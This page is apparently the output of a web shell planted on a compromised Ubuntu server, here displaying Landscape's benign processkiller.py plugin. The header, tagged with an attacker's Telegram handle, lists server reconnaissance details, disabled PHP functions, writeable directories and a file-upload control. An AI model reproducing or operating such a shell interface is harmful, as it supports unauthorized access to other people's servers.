https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /usr/lib/python2.7/dist-packages/landscape/manager/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib/python2.7/dist-packages/landscape/manager/processkiller.py
import os
import signal
import logging
from datetime import datetime

from landscape.lib.process import ProcessInformation
from landscape.manager.plugin import ManagerPlugin


class ProcessNotFoundError(Exception):
    pass


class ProcessMismatchError(Exception):
    pass


class SignalProcessError(Exception):
    pass


class ProcessKiller(ManagerPlugin):
    """
    A management plugin that signals processes upon receiving a message from
    the server.
    """

    def __init__(self, process_info=None):
        if process_info is None:
            process_info = ProcessInformation()
        self.process_info = process_info

    def register(self, registry):
        super(ProcessKiller, self).register(registry)
        registry.register_message("signal-process",
                                  self._handle_signal_process)

    def _handle_signal_process(self, message):
        self.call_with_operation_result(message, self.signal_process,
                                        message["pid"], message["name"],
                                        message["start-time"],
                                        message["signal"])

    def signal_process(self, pid, name, start_time, signame):
        logging.info("Sending %s signal to the process with PID %d.",
                     signame, pid)
        process_info = self.process_info.get_process_info(pid)
        if not process_info:
            start_time = datetime.utcfromtimestamp(start_time)
            message = ("The process %s with PID %d that started at %s UTC was "
                       "not found") % (name, pid, start_time)
            raise ProcessNotFoundError(message)
        elif abs(process_info["start-time"] - start_time) > 2:
            # We don't check that the start time matches precisely because
            # the way we obtain boot times isn't very precise, and this may
            # cascade into having imprecise process start times.
            expected_time = datetime.utcfromtimestamp(start_time)
            actual_time = datetime.utcfromtimestamp(process_info["start-time"])
            message = ("The process %s with PID %d that started at "
                       "%s UTC was not found.  A process with the same "
                       "PID that started at %s UTC was found and not "
                       "sent the %s signal") % (name, pid, expected_time,
                                                actual_time, signame)
            raise ProcessMismatchError(message)

        signum = getattr(signal, "SIG%s" % (signame,))
        try:
            os.kill(pid, signum)
        except:
            # XXX Nothing is indicating what the problem was.
            message = ("Attempting to send the %s signal to the process "
                       "%s with PID %d failed") % (signame, name, pid)
            raise SignalProcessError(message)

https://t.me/RX1948 - 2025